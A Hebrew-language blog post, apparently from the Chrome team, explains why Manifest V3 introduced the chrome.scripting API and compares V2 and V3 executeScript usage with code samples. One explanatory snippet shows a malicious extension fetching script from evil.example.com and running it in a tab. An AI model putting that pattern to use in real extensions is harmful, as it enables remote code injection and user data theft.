Manifest V3 כולל כמה שינויים בפלטפורמת התוספים של Chrome. בפוסט הזה נסביר את המניעים לשינויים ואת השינויים שהתרחשו בעקבות אחד מהשינויים המשמעותיים ביותר: ההשקה של ממשק ה-API chrome.scripting
.
מהו chrome.scripting?
כפי שרומז השם, chrome.scripting
הוא מרחב שמות חדש שהוצג ב-Manifest V3, והוא אחראי ליכולות של הזרקת סקריפטים וסגנונות.
מפתחים שיצרו תוספים ל-Chrome בעבר עשויים להכיר שיטות של Manifest V2 ב-Tabs API, כמו chrome.tabs.executeScript
ו-chrome.tabs.insertCSS
. השיטות האלה מאפשרות לתוספים להוסיף דפי סקריפט וסגנונות פורמט לדפים, בהתאמה. במניפסט V3, היכולות האלה הועברו אל chrome.scripting
, ואנחנו מתכננים להרחיב את ממשק ה-API הזה בעתיד עם כמה יכולות חדשות.
למה כדאי ליצור ממשק API חדש?
כשמתבצע שינוי כזה, אחת מהשאלות הראשונות שעולות היא "למה?"
כמה גורמים שונים הובילו את צוות Chrome להחליט להציג מרחב שמות חדש ליצירת סקריפטים.
קודם כול, Tabs API הוא קצת 'מגירה לאיסוף תכונות'. שנית, נדרשנו לבצע שינויים משמעותיים בממשק ה-API הקיים של executeScript
. שלישית, ידענו שאנחנו רוצים להרחיב את יכולות הסקריפטים של התוספים. יחד, הבעיות האלה הגדירו בבירור את הצורך במרחב שמות חדש שיכיל את יכולות הסקריפטים.
חלונית האשפה
אחת הבעיות שהטרידו את צוות התוספים בשנים האחרונות היא עומס יתר על ה-API של chrome.tabs
. כשה-API הזה הוצג לראשונה, רוב היכולות שהוא סיפק היו קשורות למושג הרחב של כרטיסיית דפדפן. עם זאת, גם אז מדובר היה באוסף תכונות שרירותי, והוא רק הלך וגדל עם השנים.
עד שגרסת Manifest V3 שוחררה, Tabs API התרחב כך שיכלול ניהול בסיסי של כרטיסיות, ניהול של בחירות, ארגון חלונות, שליחת הודעות, בקרת זום, ניווט בסיסי, כתיבת סקריפט ועוד כמה יכולות קטנות יותר. כל הדברים האלה חשובים, אבל הם יכולים להיות מרתקים מדי למפתחים בתחילת הדרך, וגם לצוות Chrome שצריך לתחזק את הפלטפורמה ולשקול בקשות מקהילת המפתחים.
גורם נוסף שמסבך את העניין הוא שההרשאה tabs
לא מובנת היטב. הרבה הרשאות אחרות מגבילות את הגישה לממשק API נתון (למשל storage
), אבל ההרשאה הזו קצת יוצאת דופן כי היא מעניקה לתוסף גישה רק למאפיינים רגישים במופעי כרטיסיות (ובאופן נגזר משפיעה גם על Windows API). מובן למה מפתחי תוספים רבים חושבים בטעות שהם זקוקים להרשאה הזו כדי לגשת לשיטות ב-Tabs API, כמו chrome.tabs.create
או, באופן מדויק יותר, chrome.tabs.executeScript
. העברת הפונקציונליות מ-Tabs API עוזרת לפתור חלק מהבלבול הזה.
שינויי תוכנה שעלולים לגרום לכשלים
כשעיצבנו את Manifest V3, אחת מהבעיות העיקריות שרצינו לטפל בהן הייתה ניצול לרעה ותוכנות זדוניות שמופעל בהן 'קוד באירוח מרוחק' – קוד שמופעל אבל לא נכלל בחבילת התוסף. לעתים קרובות, מחברי תוספים שמנצלים לרעה את הרשאות הגישה שלהם מריצים סקריפטים שאוחזרו משרתים מרוחקים כדי לגנוב נתוני משתמשים, להחדיר תוכנות זדוניות ולהימנע מזיהוי. אמנם גם גורמים טובים משתמשים ביכולת הזו, אבל בסופו של דבר הרגשנו שהיא מסוכנת מדי כדי להשאיר אותה כפי שהיא.
יש כמה דרכים שבהן תוספים יכולים להריץ קוד לא ארוז, אבל השיטה הרלוונטית כאן היא השיטה chrome.tabs.executeScript
של Manifest V2. השיטה הזו מאפשרת לתוסף להריץ מחרוזת קוד שרירותית בכרטיסייה יעד. המשמעות היא שמפתח זדוני יכול לאחזר סקריפט שרירותי משרת מרוחק ולהריץ אותו בכל דף שהתוסף יכול לגשת אליו. ידענו שאם נרצה לטפל בבעיה של הקוד מרחוק, נצטרך להסיר את התכונה הזו.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
רצינו גם לפתור בעיות אחרות, עדינות יותר, בעיצוב של גרסה 2 של המניפסט, ולהפוך את ה-API לכלי משופר וצפוי יותר.
יכולנו לשנות את החתימה של השיטה הזו ב-Tabs API, אבל החלטנו שבין השינויים המשמעותיים האלה לבין ההוספה של יכולות חדשות (כפי שמתואר בקטע הבא), קל יותר לכולם להתחיל מחדש.
הרחבת יכולות הסקריפטים
שיקול נוסף שהשפיע על תהליך התכנון של Manifest V3 היה הרצון להוסיף יכולות סקריפט נוספות לפלטפורמת התוספים של Chrome. באופן ספציפי, רצינו להוסיף תמיכה בסקריפטים של תוכן דינמי ולהרחיב את היכולות של השיטה executeScript
.
תמיכה בסקריפטים של תוכן דינמי הייתה בקשה ותיקה לתכונה ב-Chromium. נכון לעכשיו, תוספי Chrome ב-Manifest V2 וב-Manifest V3 יכולים להצהיר באופן סטטי על סקריפטים של תוכן בקובץ manifest.json
שלהם בלבד. הפלטפורמה לא מספקת דרך לרשום סקריפטים חדשים של תוכן, לשנות את הרישום של סקריפטים של תוכן או לבטל את הרישום של סקריפטים של תוכן בזמן הריצה.
ידענו שאנחנו רוצים לטפל בבקשה הזו ב-Manifest V3, אבל אף אחד מממשקי ה-API הקיימים שלנו לא נראה לנו מתאים. האפשרות השנייה שבדקנו היא התאמה ל-Firefox ב-Content Scripts API, אבל כבר בשלב מוקדם מאוד זיהינו כמה חסרונות משמעותיים בגישה הזו.
קודם כול, ידענו שיהיו לנו חתימות לא תואמות (למשל, ביטול התמיכה במאפיין code
). שנית, ל-API שלנו הייתה קבוצה שונה של אילוצים בתכנון (למשל, צורך ברישום שיישאר בתוקף מעבר לחיי השירות של ה-service worker). לבסוף, מרחב השמות הזה גם יקבע את הגבולות של הפונקציונליות של סקריפט התוכן, בעוד שאנחנו רוצים לחשוב על סקריפטים בתוספים באופן רחב יותר.
בנוסף, רצינו להרחיב את היכולות של ה-API הזה מעבר למה שגרסת ה-Tabs API תומכת בו.executeScript
באופן ספציפי יותר, רצינו לתמוך בפונקציות ובארגומנטים, לטרגט בקלות רבה יותר מסגרות ספציפיות ולטרגט הקשרים שאינם 'tab'.
בהמשך, אנחנו גם שוקלים איך תוספים יכולים לקיים אינטראקציה עם אפליקציות PWA מותקנות ועם הקשרים אחרים שלא ממופים באופן קונספטואלי ל'כרטיסיות'.
שינויים בין tabs.executeScript לבין scripting.executeScript
בהמשך הפוסט הזה אסביר על הדמיון וההבדלים בין chrome.tabs.executeScript
לבין chrome.scripting.executeScript
.
הזרקה של פונקציה עם ארגומנטים
כשחשבנו איך הפלטפורמה תצטרך להתפתח לאור ההגבלות על קוד שמתארח מרחוק, רצינו למצוא איזון בין העוצמה הגולמית של הפעלת קוד שרירותי לבין ההגבלה על שימוש רק בסקריפטים של תוכן סטטי. הפתרון שהגענו אליו היה לאפשר לתוספים להחדיר פונקציה כסקריפט תוכן ולהעביר מערך של ערכים כארגומנטים.
נבחן דוגמה (פשוטה מדי) כדי להבין את העניין. נניח שאנחנו רוצים להחדיר סקריפט שמברך את המשתמש בשם כשהמשתמש לוחץ על לחצן הפעולה של התוסף (הסמל בסרגל הכלים). ב-Manifest V2, אפשר ליצור מחרוזת קוד באופן דינמי ולהריץ את הסקריפט הזה בדף הנוכחי.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
תוספים של Manifest V3 לא יכולים להשתמש בקוד שלא נכלל בחבילת התוסף, אבל המטרה שלנו הייתה לשמר חלק מהדינמיות של בלוקים שרירותיים של קוד שמאפשרים לתוספים של Manifest V2 לפעול. הגישה של פונקציות וארגומנטים מאפשרת למבקרים, למשתמשים ולגורמים אחרים בעלי עניין בחנות האינטרנט של Chrome להעריך בצורה מדויקת יותר את הסיכונים שקשורים לתוסף, ומאפשרת למפתחים לשנות את התנהגות התוסף בסביבת זמן הריצה על סמך הגדרות המשתמש או מצב האפליקציה.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
פריימים של טירגוט
בנוסף, רצינו לשפר את האינטראקציה של המפתחים עם המסגרות ב-API המעודכן. הגרסה Manifest V2 של executeScript
אפשרה למפתחים לטרגט את כל המסגרות בכרטיסייה או מסגרת ספציפית בכרטיסייה. אפשר להשתמש ב-chrome.webNavigation.getAllFrames
כדי לקבל רשימה של כל המסגרות בכרטיסייה.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
בגרסה השלישית של המניפסט, החלפנו את מאפיין המספר השלם האופציונלי frameId
באובייקט האפשרויות במערך אופציונלי של מספרים שלמים מסוג frameIds
. כך המפתחים יכולים לטרגט כמה פריימים בקריאה יחידה ל-API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
תוצאות הזרקת סקריפט
שיפרנו גם את האופן שבו אנחנו מחזירים תוצאות של הזרקת סקריפט ב-Manifest V3. 'תוצאה' היא בעצם ההצהרה האחרונה שמועברת להערכה בסקריפט. אפשר לחשוב עליו כערך שמוחזר כשקוראים ל-eval()
או מפעילים בלוק של קוד במסוף DevTools של Chrome, אבל בסריאליזציה כדי להעביר תוצאות בין תהליכים.
ב-Manifest V2, הפונקציות executeScript
ו-insertCSS
יחזירו מערך של תוצאות ביצוע פשוטות.
זה בסדר אם יש לכם רק נקודת הזרקה אחת, אבל סדר התוצאות לא מובטח כשאתם מזריקים לפריימים מרובים, ולכן אין דרך לדעת איזו תוצאה משויכת לאיזה פריים.
לדוגמה, נבחן את מערכי results
שמוחזרים על ידי גרסת Manifest V2 וגרסת Manifest V3 של אותו תוסף. שתי הגרסאות של התוסף יזריקו את אותו סקריפט תוכן, ונשווה בין התוצאות באותו דף הדגמה.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
כשמריצים את גרסת Manifest V2, מקבלים בחזרה מערך של [1, 0, 5]
. איזו תוצאה תואמת למסגרת הראשית ואיזו תוצאה תואמת ל-iframe? ערך ההחזרה לא אומר לנו, ולכן אנחנו לא יודעים בוודאות.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
בגרסה Manifest V3, השדה results
מכיל עכשיו מערך של אובייקטים של תוצאות במקום מערך של רק תוצאות הבדיקה, ואובייקטי התוצאות מזהים בבירור את המזהה של המסגרת לכל תוצאה. כך קל יותר למפתחים להשתמש בתוצאה ולבצע פעולה בפריים ספציפי.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
סיכום
שדרוגים של גרסאות המניפסט הם הזדמנות נדירה לחשוב מחדש על ממשקי ה-API של התוספים ולשדרג אותם. המטרה שלנו ב-Manifest V3 היא לשפר את חוויית משתמשי הקצה על ידי הפיכת התוספים לבטוחים יותר, וגם לשפר את חוויית המפתחים. בעזרת ההוספה של chrome.scripting
ב-Manifest V3, הצלחנו לשפר את Tabs API, ליצור מחדש את executeScript
כפלטפורמה מאובטחת יותר של תוספי, ולסלול את הדרך ליכולות חדשות של סקריפטים שיושקו בהמשך השנה.